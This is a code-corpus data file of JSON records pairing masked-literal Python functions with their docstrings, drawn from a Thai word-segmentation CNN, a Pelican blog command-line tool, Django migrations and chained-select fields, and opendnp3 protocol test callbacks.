{"signature": "def prepare_feature(best_processed_path, option='<STR_LIT:train>'):", "body": "<EOL>n_pad = <NUM_LIT><EOL>n_pad_2 = int((n_pad - <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>pad = [{'<STR_LIT>': '<STR_LIT:U+0020>', '<STR_LIT:type>': '<STR_LIT:p>', '<STR_LIT:target>': True}]<EOL>df_pad = pd.DataFrame(pad * n_pad_2)<EOL>df = []<EOL>for article_type in article_types:<EOL><INDENT>df.append(pd.read_csv(os.path.join(best_processed_path, option, '<STR_LIT>'.format(article_type, option))))<EOL><DEDENT>df = pd.concat(df)<EOL>df = pd.concat((df_pad, df, df_pad)) <EOL>df['<STR_LIT>'] = df['<STR_LIT>'].map(lambda x: CHARS_MAP.get(x, <NUM_LIT>))<EOL>df['<STR_LIT:type>'] = df['<STR_LIT:type>'].map(lambda x: CHAR_TYPES_MAP.get(x, <NUM_LIT:4>))<EOL>df_pad = create_n_gram_df(df, n_pad=n_pad)<EOL>char_row = ['<STR_LIT>' + str(i + <NUM_LIT:1>) for i in range(n_pad_2)] +['<STR_LIT>' + str(i + <NUM_LIT:1>) for i in range(n_pad_2)] + ['<STR_LIT>']<EOL>type_row = ['<STR_LIT:type>' + str(i + <NUM_LIT:1>) for i in range(n_pad_2)] +['<STR_LIT>' + str(i + <NUM_LIT:1>) for i in range(n_pad_2)] + ['<STR_LIT:type>']<EOL>x_char = df_pad[char_row].as_matrix()<EOL>x_type = df_pad[type_row].as_matrix()<EOL>y = df_pad['<STR_LIT:target>'].astype(int).as_matrix()<EOL>return x_char, x_type, y<EOL>", "docstring": "Transform processed path into feature matrix and output array\n\nInput\n=====\nbest_processed_path: str, path to processed BEST dataset\n\noption: str, 'train' or 'test'", "id": "f1807:m3"}
{"signature": "def train_model(best_processed_path, weight_path='<STR_LIT>', verbose=<NUM_LIT:2>):", "body": "x_train_char, x_train_type, y_train = prepare_feature(best_processed_path, option='<STR_LIT:train>')<EOL>x_test_char, x_test_type, y_test = prepare_feature(best_processed_path, option='<STR_LIT:test>')<EOL>validation_set = False<EOL>if os.path.isdir(os.path.join(best_processed_path, '<STR_LIT>')):<EOL><INDENT>validation_set = True<EOL>x_val_char, x_val_type, y_val = prepare_feature(best_processed_path, option='<STR_LIT>')<EOL><DEDENT>if not os.path.isdir(os.path.dirname(weight_path)):<EOL><INDENT>os.makedirs(os.path.dirname(weight_path)) <EOL><DEDENT>callbacks_list = [<EOL>ReduceLROnPlateau(),<EOL>ModelCheckpoint(<EOL>weight_path,<EOL>save_best_only=True,<EOL>save_weights_only=True,<EOL>monitor='<STR_LIT>',<EOL>mode='<STR_LIT>',<EOL>verbose=<NUM_LIT:1><EOL>)<EOL>]<EOL>model = get_convo_nn2()<EOL>train_params = [(<NUM_LIT:10>, <NUM_LIT>), (<NUM_LIT:3>, <NUM_LIT>), (<NUM_LIT:3>, <NUM_LIT>), (<NUM_LIT:3>, <NUM_LIT>), (<NUM_LIT:3>, <NUM_LIT>)]<EOL>for (epochs, batch_size) in train_params:<EOL><INDENT>print(\"<STR_LIT>\".format(epochs, batch_size))<EOL>if validation_set:<EOL><INDENT>model.fit([x_train_char, x_train_type], y_train,<EOL>epochs=epochs, batch_size=batch_size,<EOL>verbose=verbose,<EOL>callbacks=callbacks_list,<EOL>validation_data=([x_val_char, x_val_type], y_val))<EOL><DEDENT>else:<EOL><INDENT>model.fit([x_train_char, x_train_type], y_train,<EOL>epochs=epochs, batch_size=batch_size,<EOL>verbose=verbose,<EOL>callbacks=callbacks_list)<EOL><DEDENT><DEDENT>return model<EOL>", "docstring": "Given path to processed BEST dataset,\ntrain CNN model for words beginning alongside with\ncharacter label encoder and character type label encoder\n\nInput\n=====\nbest_processed_path: str, path to processed BEST dataset\nweight_path: str, path to weight path file\nverbose: int, verbost option for training Keras model\n\nOutput\n======\nmodel: keras model, keras model for tokenize prediction", "id": "f1807:m4"}
{"signature": "def evaluate(best_processed_path, model):", "body": "x_test_char, x_test_type, y_test = prepare_feature(best_processed_path, option='<STR_LIT:test>')<EOL>y_predict = model.predict([x_test_char, x_test_type])<EOL>y_predict = (y_predict.ravel() > <NUM_LIT:0.5>).astype(int)<EOL>f1score = f1_score(y_test, y_predict)<EOL>precision = precision_score(y_test, y_predict)<EOL>recall = recall_score(y_test, y_predict)<EOL>return f1score, precision, recall<EOL>", "docstring": "Evaluate model on splitted 10 percent testing set", "id": "f1807:m5"}
{"signature": "def create_feature_array(text, n_pad=<NUM_LIT>):", "body": "n = len(text)<EOL>n_pad_2 = int((n_pad - <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>text_pad = ['<STR_LIT:U+0020>'] * n_pad_2  + [t for t in text] + ['<STR_LIT:U+0020>'] * n_pad_2<EOL>x_char, x_type = [], []<EOL>for i in range(n_pad_2, n_pad_2 + n):<EOL><INDENT>char_list = text_pad[i + <NUM_LIT:1>: i + n_pad_2 + <NUM_LIT:1>] +list(reversed(text_pad[i - n_pad_2: i])) +[text_pad[i]]<EOL>char_map = [CHARS_MAP.get(c, <NUM_LIT>) for c in char_list]<EOL>char_type = [CHAR_TYPES_MAP.get(CHAR_TYPE_FLATTEN.get(c, '<STR_LIT:o>'), <NUM_LIT:4>)<EOL>for c in char_list]<EOL>x_char.append(char_map)<EOL>x_type.append(char_type)<EOL><DEDENT>x_char = np.array(x_char).astype(float)<EOL>x_type = np.array(x_type).astype(float)<EOL>return x_char, x_type<EOL>", "docstring": "Create feature array of character and surrounding characters", "id": "f1809:m0"}
{"signature": "def create_n_gram_df(df, n_pad):", "body": "n_pad_2 = int((n_pad - <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>for i in range(n_pad_2):<EOL><INDENT>df['<STR_LIT>'.format(i+<NUM_LIT:1>)] = df['<STR_LIT>'].shift(i + <NUM_LIT:1>)<EOL>df['<STR_LIT>'.format(i+<NUM_LIT:1>)] = df['<STR_LIT:type>'].shift(i + <NUM_LIT:1>)<EOL>df['<STR_LIT>'.format(i+<NUM_LIT:1>)] = df['<STR_LIT>'].shift(-i - <NUM_LIT:1>)<EOL>df['<STR_LIT>'.format(i+<NUM_LIT:1>)] = df['<STR_LIT:type>'].shift(-i - <NUM_LIT:1>)<EOL><DEDENT>return df[n_pad_2: -n_pad_2]<EOL>", "docstring": "Given input dataframe, create feature dataframe of shifted characters", "id": "f1809:m1"}
{"signature": "@blog.command()<EOL>@click.argument('<STR_LIT:path>')<EOL>@click.pass_context<EOL>def photos(context, path):", "body": "config = context.obj<EOL>header('<STR_LIT>')<EOL>article_filename = find_last_article(config['<STR_LIT>'])<EOL>if not article_filename:<EOL><INDENT>return click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>click.echo(os.path.basename(article_filename))<EOL>header('<STR_LIT>')<EOL>images = list(sorted(find_images(path)))<EOL>if not images:<EOL><INDENT>return click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>for filename in images:<EOL><INDENT>click.secho(filename, fg='<STR_LIT>')<EOL><DEDENT>if not click.confirm('<STR_LIT>'):<EOL><INDENT>abort(config)<EOL><DEDENT>url_prefix = os.path.join('<STR_LIT>', IMAGES_PATH)<EOL>images_dir = os.path.join(config['<STR_LIT>'], IMAGES_PATH)<EOL>os.makedirs(images_dir, exist_ok=True)<EOL>header('<STR_LIT>')<EOL>urls = []<EOL>for filename in images:<EOL><INDENT>image_basename = os.path.basename(filename).replace('<STR_LIT:U+0020>', '<STR_LIT:->').lower()<EOL>urls.append(os.path.join(url_prefix, image_basename))<EOL>image_filename = os.path.join(images_dir, image_basename)<EOL>print(filename, image_filename)<EOL>import_image(filename, image_filename)<EOL><DEDENT>content = '<STR_LIT:\\n>'<EOL>for url in urls:<EOL><INDENT>url = url.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>content += '<STR_LIT>'.format(url)<EOL><DEDENT>header('<STR_LIT>'.format(article_filename))<EOL>with click.open_file(article_filename, '<STR_LIT:a>') as f:<EOL><INDENT>f.write(content)<EOL><DEDENT>click.launch(article_filename)<EOL>", "docstring": "Adds images to the last article", "id": "f1824:m0"}
{"signature": "@blog.command()<EOL>@click.pass_context<EOL>def deploy(context):", "body": "config = context.obj<EOL>header('<STR_LIT>')<EOL>pelican(config, '<STR_LIT>', production=True)<EOL>header('<STR_LIT>')<EOL>unnecessary_paths = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>]<EOL>for path in unnecessary_paths:<EOL><INDENT>remove_path(os.path.join(config['<STR_LIT>'], path))<EOL><DEDENT>if os.environ.get('<STR_LIT>'):  <EOL><INDENT>header('<STR_LIT>')<EOL>run(<EOL>'<STR_LIT>' +<EOL>run('<STR_LIT>', capture=True)<EOL>)<EOL>run(<EOL>'<STR_LIT>' +<EOL>run('<STR_LIT>', capture=True)<EOL>)<EOL>github_token = os.environ.get('<STR_LIT>')<EOL>repo_slug = os.environ.get('<STR_LIT>')<EOL>origin = '<STR_LIT>'.format(github_token, repo_slug)<EOL>run('<STR_LIT>' + origin)<EOL><DEDENT>header('<STR_LIT>')<EOL>run('<STR_LIT>'.format(<EOL>message='<STR_LIT>'.format(choose_commit_emoji()),<EOL>dir=config['<STR_LIT>'],<EOL>))<EOL>header('<STR_LIT>')<EOL>run('<STR_LIT>')<EOL>", "docstring": "Uploads new version of the blog website", "id": "f1825:m0"}
{"signature": "@blog.command()<EOL>def update():", "body": "run('<STR_LIT>')<EOL>run('<STR_LIT>')<EOL>", "docstring": "Gets other people's changes from GitHub", "id": "f1826:m0"}
{"signature": "@blog.command()<EOL>@click.pass_context<EOL>def lint(context):", "body": "config = context.obj<EOL>try:<EOL><INDENT>run('<STR_LIT>'.format(<EOL>dir=config['<STR_LIT>'],<EOL>exclude='<STR_LIT:U+002C>'.join(EXCLUDE),<EOL>))<EOL><DEDENT>except SubprocessError:<EOL><INDENT>context.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Looks for errors in source code of your blog", "id": "f1827:m0"}
{"signature": "@blog.command()<EOL>@click.pass_context<EOL>def preview(context):", "body": "config = context.obj<EOL>pelican(config, '<STR_LIT>', '<STR_LIT>')<EOL>server_proc = None<EOL>os.chdir(config['<STR_LIT>'])<EOL>try:<EOL><INDENT>try:<EOL><INDENT>command = '<STR_LIT>' + str(PORT)<EOL>server_proc = run(command, bg=True)<EOL>time.sleep(<NUM_LIT:3>)<EOL>click.launch('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:5>)<EOL>pelican(config, '<STR_LIT>')<EOL><DEDENT>except Exception:<EOL><INDENT>if server_proc is not None:<EOL><INDENT>server_proc.kill()<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>abort(context)<EOL><DEDENT>", "docstring": "Opens local preview of your blog website", "id": "f1830:m0"}
{"signature": "@blog.command()<EOL>@click.pass_context<EOL>def write(context):", "body": "config = context.obj<EOL>title = click.prompt('<STR_LIT>')<EOL>author = click.prompt('<STR_LIT>', default=config.get('<STR_LIT>'))<EOL>slug = slugify(title)<EOL>creation_date = datetime.now()<EOL>basename = '<STR_LIT>'.format(creation_date, slug)<EOL>meta = (<EOL>('<STR_LIT>', title),<EOL>('<STR_LIT>', '<STR_LIT>'.format(creation_date)),<EOL>('<STR_LIT>', '<STR_LIT>'.format(creation_date)),<EOL>('<STR_LIT>', author),<EOL>)<EOL>file_content = '<STR_LIT>'<EOL>for key, value in meta:<EOL><INDENT>file_content += '<STR_LIT>'.format(key, value)<EOL><DEDENT>file_content += '<STR_LIT>'<EOL>file_content += '<STR_LIT>'<EOL>file_content += '<STR_LIT>'<EOL>file_content += '<STR_LIT>'<EOL>os.makedirs(config['<STR_LIT>'], exist_ok=True)<EOL>path = os.path.join(config['<STR_LIT>'], basename)<EOL>with click.open_file(path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(file_content)<EOL><DEDENT>click.echo(path)<EOL>click.launch(path)<EOL>", "docstring": "Starts a new article", "id": "f1831:m0"}
{"signature": "@blog.command()<EOL>@click.pass_context<EOL>def publish(context):", "body": "header('<STR_LIT>')<EOL>run('<STR_LIT>')<EOL>header('<STR_LIT>')<EOL>run('<STR_LIT>')<EOL>if not click.confirm('<STR_LIT>'):<EOL><INDENT>run('<STR_LIT>')<EOL>abort(context)<EOL><DEDENT>header('<STR_LIT>')<EOL>try:<EOL><INDENT>run('<STR_LIT>'.format(<EOL>message='<STR_LIT>'.format(choose_commit_emoji())<EOL>), capture=True)<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>if '<STR_LIT>' not in e.stdout:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT><DEDENT>header('<STR_LIT>')<EOL>branch = get_branch()<EOL>run('<STR_LIT>'.format(branch=branch))<EOL>pr_link = get_pr_link(branch)<EOL>if pr_link:<EOL><INDENT>click.launch(pr_link)<EOL><DEDENT>", "docstring": "Saves changes and sends them to GitHub", "id": "f1832:m0"}
{"signature": "def forwards(self, orm):", "body": "<EOL>print(\"<STR_LIT>\")<EOL>ja_akt_stan=orm.JednostkaAdministracyjna.objects.all().aggregate(Max('<STR_LIT>'))['<STR_LIT>']<EOL>orm.JednostkaAdministracyjna.objects.filter(stan_na__exact=ja_akt_stan).update(aktywny=True)<EOL>orm.JednostkaAdministracyjna.objects.exclude(stan_na__exact=ja_akt_stan).update(aktywny=False)<EOL>print(\"<STR_LIT>\")<EOL>m_akt_stan=orm.Miejscowosc.objects.all().aggregate(Max('<STR_LIT>'))['<STR_LIT>']<EOL>orm.Miejscowosc.objects.filter(stan_na__exact=m_akt_stan).update(aktywny=True)<EOL>orm.Miejscowosc.objects.exclude(stan_na__exact=m_akt_stan).update(aktywny=False)<EOL>print(\"<STR_LIT>\")<EOL>rm_akt_stan=orm.RodzajMiejsowosci.objects.all().aggregate(Max('<STR_LIT>'))['<STR_LIT>']<EOL>orm.RodzajMiejsowosci.objects.filter(stan_na__exact=rm_akt_stan).update(aktywny=True)<EOL>orm.RodzajMiejsowosci.objects.exclude(stan_na__exact=rm_akt_stan).update(aktywny=False)<EOL>print(\"<STR_LIT>\")<EOL>u_akt_stan=orm.Ulica.objects.all().aggregate(Max('<STR_LIT>'))['<STR_LIT>']<EOL>orm.Ulica.objects.filter(stan_na__exact=u_akt_stan).update(aktywny=True)<EOL>orm.Ulica.objects.exclude(stan_na__exact=u_akt_stan).update(aktywny=False)<EOL>", "docstring": "Write your forwards methods here.", "id": "f1851:c0:m0"}
{"signature": "def backwards(self, orm):", "body": "", "docstring": "Write your backwards methods here.", "id": "f1851:c0:m1"}
{"signature": "def forwards(self, orm):", "body": "<EOL>LEN_TYPE = {<EOL><NUM_LIT:7>: '<STR_LIT>',<EOL><NUM_LIT:4>: '<STR_LIT>',<EOL><NUM_LIT:2>: '<STR_LIT>',<EOL>}<EOL>for ja in orm.JednostkaAdministracyjna.objects.all():<EOL><INDENT>ja.typ = LEN_TYPE[len(ja.id)]<EOL>ja.save()<EOL><DEDENT>", "docstring": "Write your forwards methods here.", "id": "f1854:c0:m0"}
{"signature": "def backwards(self, orm):", "body": "", "docstring": "Write your backwards methods here.", "id": "f1854:c0:m1"}
{"signature": "def do_filter(qs, keywords, exclude=False):", "body": "and_q = Q()<EOL>for keyword, value in iteritems(keywords):<EOL><INDENT>try:<EOL><INDENT>values = value.split(\"<STR_LIT:U+002C>\")<EOL>if len(values) > <NUM_LIT:0>:<EOL><INDENT>or_q = Q()<EOL>for value in values:<EOL><INDENT>or_q |= Q(**{keyword: value})<EOL><DEDENT>and_q &= or_q<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>and_q &= Q(**{keyword: value})<EOL><DEDENT><DEDENT>if exclude:<EOL><INDENT>qs = qs.exclude(and_q)<EOL><DEDENT>else:<EOL><INDENT>qs = qs.filter(and_q)<EOL><DEDENT>return qs<EOL>", "docstring": "Filter queryset based on keywords.\nSupport for multiple-selected parent values.", "id": "f1868:m1"}
{"signature": "@never_cache<EOL>def filterchain_all(request, app, model, field, foreign_key_app_name,<EOL>foreign_key_model_name, foreign_key_field_name, value):", "body": "model_class = get_model(app, model)<EOL>keywords = get_keywords(field, value)<EOL>foreign_model_class = get_model(foreign_key_app_name, foreign_key_model_name)<EOL>if not any([(isinstance(f, ChainedManyToManyField) or<EOL>isinstance(f, ChainedForeignKey))<EOL>for f in foreign_model_class._meta.get_fields()]):<EOL><INDENT>raise PermissionDenied(\"<STR_LIT>\")<EOL><DEDENT>limit_choices_to = get_limit_choices_to(foreign_key_app_name, foreign_key_model_name, foreign_key_field_name)<EOL>queryset = get_queryset(model_class, limit_choices_to=limit_choices_to)<EOL>filtered = list(do_filter(queryset, keywords))<EOL>if not getattr(model_class._meta, '<STR_LIT>', False):<EOL><INDENT>sort_results(list(filtered))<EOL><DEDENT>excluded = list(do_filter(queryset, keywords, exclude=True))<EOL>if not getattr(model_class._meta, '<STR_LIT>', False):<EOL><INDENT>sort_results(list(excluded))<EOL><DEDENT>empty_choice = {'<STR_LIT:value>': \"<STR_LIT>\", '<STR_LIT>': \"<STR_LIT>\"}<EOL>serialized_results = (<EOL>serialize_results(filtered) +<EOL>[empty_choice] +<EOL>serialize_results(excluded)<EOL>)<EOL>return JsonResponse(serialized_results, safe=False)<EOL>", "docstring": "Returns filtered results followed by excluded results below.", "id": "f1868:m3"}
{"signature": "@property<EOL><INDENT>def media(self):<DEDENT>", "body": "media = super(JqueryMediaMixin, self).media<EOL>js = []<EOL>if JQUERY_URL:<EOL><INDENT>js.append(JQUERY_URL)<EOL><DEDENT>elif JQUERY_URL is not False:<EOL><INDENT>vendor = '<STR_LIT>' if django.VERSION < (<NUM_LIT:1>, <NUM_LIT:9>, <NUM_LIT:0>) else '<STR_LIT>'<EOL>extra = '<STR_LIT>' if settings.DEBUG else '<STR_LIT>'<EOL>jquery_paths = [<EOL>'<STR_LIT>'.format(vendor, extra),<EOL>'<STR_LIT>',<EOL>]<EOL>if USE_DJANGO_JQUERY:<EOL><INDENT>jquery_paths = ['<STR_LIT>'.format(path) for path in jquery_paths]<EOL><DEDENT>js.extend(jquery_paths)<EOL><DEDENT>media += Media(js=js)<EOL>return media<EOL>", "docstring": "Media defined as a dynamic property instead of an inner class.", "id": "f1870:c0:m0"}
{"signature": "@property<EOL><INDENT>def media(self):<DEDENT>", "body": "media = super(ChainedSelect, self).media<EOL>js = ['<STR_LIT>',<EOL>'<STR_LIT>']<EOL>media += Media(js=js)<EOL>return media<EOL>", "docstring": "Media defined as a dynamic property instead of an inner class.", "id": "f1870:c1:m1"}
{"signature": "def _get_available_choices(self, queryset, value):", "body": "item = queryset.filter(pk=value).first()<EOL>if item:<EOL><INDENT>try:<EOL><INDENT>pk = getattr(item, self.chained_model_field + \"<STR_LIT>\")<EOL>filter = {self.chained_model_field: pk}<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:  <EOL><INDENT>pks = getattr(item, self.chained_model_field).all().values_list('<STR_LIT>', flat=True)<EOL>filter = {self.chained_model_field + \"<STR_LIT>\": pks}<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:  <EOL><INDENT>pks = getattr(item, self.chained_model_field + \"<STR_LIT>\").all().values_list('<STR_LIT>', flat=True)<EOL>filter = {self.chained_model_field + \"<STR_LIT>\": pks}<EOL><DEDENT>except AttributeError:  <EOL><INDENT>filter = {}<EOL><DEDENT><DEDENT><DEDENT>filtered = list(get_model(self.to_app_name, self.to_model_name).objects.filter(**filter).distinct())<EOL>if self.sort:<EOL><INDENT>sort_results(filtered)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>filtered = []<EOL><DEDENT>return filtered<EOL>", "docstring": "get possible choices for selection", "id": "f1870:c1:m3"}
{"signature": "@property<EOL><INDENT>def media(self):<DEDENT>", "body": "media = super(ChainedSelectMultiple, self).media<EOL>js = ['<STR_LIT>',<EOL>'<STR_LIT>']<EOL>if self.horizontal:<EOL><INDENT>js.extend([\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"])<EOL><DEDENT>media += Media(js=js)<EOL>return media<EOL>", "docstring": "Media defined as a dynamic property instead of an inner class.", "id": "f1870:c2:m1"}
{"signature": "def unicode_sorter(input):", "body": "<EOL>key1 = input.lower()<EOL>key1 = key1.replace(u\"<STR_LIT>\", u\"<STR_LIT:a>\")<EOL>key1 = key1.replace(u\"<STR_LIT>\", u\"<STR_LIT:o>\")<EOL>key1 = key1.replace(u\"<STR_LIT>\", u\"<STR_LIT:u>\")<EOL>key1 = key1.replace(u\"<STR_LIT>\", u\"<STR_LIT>\")<EOL>return key1<EOL>", "docstring": "This function implements sort keys for the german language according to\n    DIN 5007.", "id": "f1871:m0"}
{"signature": "def sort_results(results):", "body": "results.sort(key=lambda x: unicode_sorter(force_text(x)))<EOL>", "docstring": "Performs in-place sort of filterchain results.", "id": "f1871:m5"}
{"signature": "def __init__(self, to, chained_field=None, chained_model_field=None,<EOL>auto_choose=False, horizontal=False, **kwargs):", "body": "self.chain_field = chained_field<EOL>self.chained_model_field = chained_model_field<EOL>self.auto_choose = auto_choose<EOL>self.horizontal = horizontal<EOL>self.verbose_name = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>super(ChainedManyToManyField, self).__init__(to, **kwargs)<EOL>", "docstring": "examples:\n\nclass Publication(models.Model):\n    name = models.CharField(max_length=255)\n\nclass Writer(models.Model):\n    name = models.CharField(max_length=255)\n    publications = models.ManyToManyField('Publication', blank=True, null=True)\n\nclass Book(models.Model):\n    publication = models.ForeignKey(Publication)\n    writer = ChainedManyToManyField(\n        Writer,\n        chained_field=\"publication\",\n        chained_model_field=\"publications\",\n        )\n    name = models.CharField(max_length=255)\n\n``chained_field`` is the name of the ForeignKey field referenced by ChainedManyToManyField of the same Model.\nin the examples, chained_field is the name of field publication in Model Book.\n\n``chained_model_field`` is the name of the ManyToMany field referenced in the 'to' Model.\nin the examples, chained_model_field is the name of field publications in Model Writer.\n\n``auto_choose`` controls whether auto select the choice when there is only one available choice.", "id": "f1873:c1:m0"}
{"signature": "def __init__(self, to, chained_field=None, chained_model_field=None,<EOL>show_all=False, auto_choose=False, sort=True, view_name=None, **kwargs):", "body": "self.chained_field = chained_field<EOL>self.chained_model_field = chained_model_field<EOL>self.show_all = show_all<EOL>self.auto_choose = auto_choose<EOL>self.sort = sort<EOL>self.view_name = view_name<EOL>if kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', models.CASCADE)<EOL><DEDENT>else:<EOL><INDENT>kwargs = {'<STR_LIT>': models.CASCADE}<EOL><DEDENT>super(ChainedForeignKey, self).__init__(to, **kwargs)<EOL>", "docstring": "examples:\n\nclass Continent(models.Model):\n    name = models.CharField(max_length=255)\n\nclass Country(models.Model):\n    continent = models.ForeignKey(Continent)\n\nclass Location(models.Model):\n    continent = models.ForeignKey(Continent)\n    country = ChainedForeignKey(\n        Country,\n        chained_field=\"continent\",\n        chained_model_field=\"continent\",\n        show_all=True,\n        auto_choose=True,\n        sort=True,\n        # limit_choices_to={'name':'test'}\n    )\n``chained_field`` is the name of the ForeignKey field referenced by ChainedForeignKey of the same Model.\nin the examples, chained_field is the name of field continent in Model Location.\n\n``chained_model_field`` is the name of the ForeignKey field referenced in the 'to' Model.\nin the examples, chained_model_field is the name of field continent in Model Country.\n\n``show_all`` controls whether show other choices below the filtered choices, with separater '----------'.\n\n``auto_choose`` controls whether auto select the choice when there is only one available choice.\n\n``sort`` controls whether or not to sort results lexicographically or not.\n\n``view_name`` controls which view to use, 'chained_filter' or 'chained_filter_all'.", "id": "f1873:c2:m0"}
{"signature": "def restart_callback(result=None):", "body": "if result.summary == opendnp3.TaskCompletion.SUCCESS:<EOL><INDENT>print(\"<STR_LIT>\".format(result.restartTime.GetMilliseconds()))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\".format(opendnp3.TaskCompletionToString(result.summary)))<EOL><DEDENT>", "docstring": ":type result: opendnp3.RestartOperationResult", "id": "f1888:m0"}
{"signature": "def collection_callback(result=None):", "body": "print(\"<STR_LIT>\".format(<EOL>result.headerIndex,<EOL>result.index,<EOL>opendnp3.CommandPointStateToString(result.state),<EOL>opendnp3.CommandStatusToString(result.status)<EOL>))<EOL>", "docstring": ":type result: opendnp3.CommandPointResult", "id": "f1888:m1"}
{"signature": "def command_callback(result=None):", "body": "print(\"<STR_LIT>\".format(opendnp3.TaskCompletionToString(result.summary)))<EOL>result.ForeachItem(collection_callback)<EOL>", "docstring": ":type result: opendnp3.ICommandTaskResult", "id": "f1888:m2"}
{"signature": "def OnReceiveIIN(self, iin):", "body": "self.iin_field = dict(<EOL>LSB=iin.LSB,<EOL>MSB=iin.MSB<EOL>)<EOL>", "docstring": "Called when a response or unsolicited response is receive from the outstation.", "id": "f1888:c0:m1"}
{"signature": "def OnTaskStart(self, type, id):", "body": "self.task_id = dict(<EOL>id=id.GetId(),<EOL>defined=id.IsDefined()<EOL>)<EOL>", "docstring": "Task start notification.", "id": "f1888:c0:m2"}
{"signature": "def OnTaskComplete(self, info):", "body": "self.task_info = dict(<EOL>type=info.type,<EOL>result=info.result<EOL>)<EOL>", "docstring": "Task completion notification.", "id": "f1888:c0:m3"}
{"signature": "def OnStateChange(self, value):", "body": "self.link_status = value<EOL>", "docstring": "Called when a the reset/unreset status of the link layer changes.", "id": "f1888:c0:m4"}
{"signature": "def Now(self):", "body": "pass<EOL>", "docstring": "Returns a UTCTimestamp of the current time.", "id": "f1888:c0:m5"}
{"signature": "def OnStateChange(self, state):", "body": "self.state = state<EOL>", "docstring": "State change notification.", "id": "f1888:c1:m1"}
{"signature": "def Log(self, entry):", "body": "if entry.loggerid == \"<STR_LIT>\":<EOL><INDENT>self.tcp_client = True<EOL><DEDENT>", "docstring": "Log information.", "id": "f1888:c2:m1"}
{"signature": "def run_master(hang=False):", "body": "logger = asiodnp3.ConsoleLogger().Create()<EOL>manager = asiodnp3.DNP3Manager(<NUM_LIT:1>, asiodnp3.ConsoleLogger().Create())<EOL>channel = manager.AddTCPClient(\"<STR_LIT>\",<EOL>FILTERS,<EOL>asiopal.ChannelRetry(),<EOL>HOST,<EOL>LOCAL,<EOL>PORT,<EOL>asiodnp3.PrintingChannelListener().Create())<EOL>stack_config = asiodnp3.MasterStackConfig()<EOL>stack_config.master.responseTimeout = openpal.TimeDuration().Seconds(<NUM_LIT:2>)<EOL>stack_config.link.RemoteAddr = <NUM_LIT:10><EOL>soe_handler = asiodnp3.PrintingSOEHandler().Create()<EOL>default_master_app = asiodnp3.DefaultMasterApplication().Create()<EOL>master = channel.AddMaster(\"<STR_LIT>\",<EOL>soe_handler,<EOL>default_master_app,<EOL>stack_config)<EOL>master.Enable()<EOL>time.sleep(<NUM_LIT:2>)<EOL>if not hang:<EOL><INDENT>del channel<EOL>del master<EOL><DEDENT>print(\"<STR_LIT>\".format(hang))<EOL>manager.Shutdown()<EOL>", "docstring": "Demonstrate hanging when channel and master are not deleted prior to manager.Shutdown()", "id": "f1889:m0"}
{"signature": "def OnStateChange(self, value):", "body": "self.link_status = value<EOL>", "docstring": "Called when a the reset/unreset status of the link layer changes.", "id": "f1892:c0:m1"}
{"signature": "def OnStateChange(self, state):", "body": "self.state = state<EOL>", "docstring": "State change notification.", "id": "f1892:c1:m1"}
{"signature": "def Log(self, entry):", "body": "if entry.loggerid == \"<STR_LIT>\":<EOL><INDENT>self.server = True<EOL><DEDENT>", "docstring": "Log information.", "id": "f1892:c2:m1"}
{"signature": "def startup(self):", "body": "print('<STR_LIT>')<EOL>self.do_menu('<STR_LIT>')<EOL>self.cmdloop('<STR_LIT>')<EOL>exit()<EOL>", "docstring": "Display the command-line interface's menu and issue a prompt.", "id": "f1897:c0:m1"}
{"signature": "def do_menu(self, line):", "body": "print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>", "docstring": "Display a menu of command-line options. Command syntax is: menu", "id": "f1897:c0:m2"}
{"signature": "def do_chan_log_all(self, line):", "body": "self.application.channel.SetLogFilters(openpal.LogFilters(opendnp3.levels.ALL_COMMS))<EOL>print('<STR_LIT>'.format(opendnp3.levels.ALL_COMMS))<EOL>", "docstring": "Set the channel log level to ALL_COMMS. Command syntax is: chan_log_all", "id": "f1897:c0:m3"}
{"signature": "def do_chan_log_normal(self, line):", "body": "self.application.channel.SetLogFilters(openpal.LogFilters(opendnp3.levels.NORMAL))<EOL>print('<STR_LIT>'.format(opendnp3.levels.NORMAL))<EOL>", "docstring": "Set the channel log level to NORMAL. Command syntax is: chan_log_normal", "id": "f1897:c0:m4"}
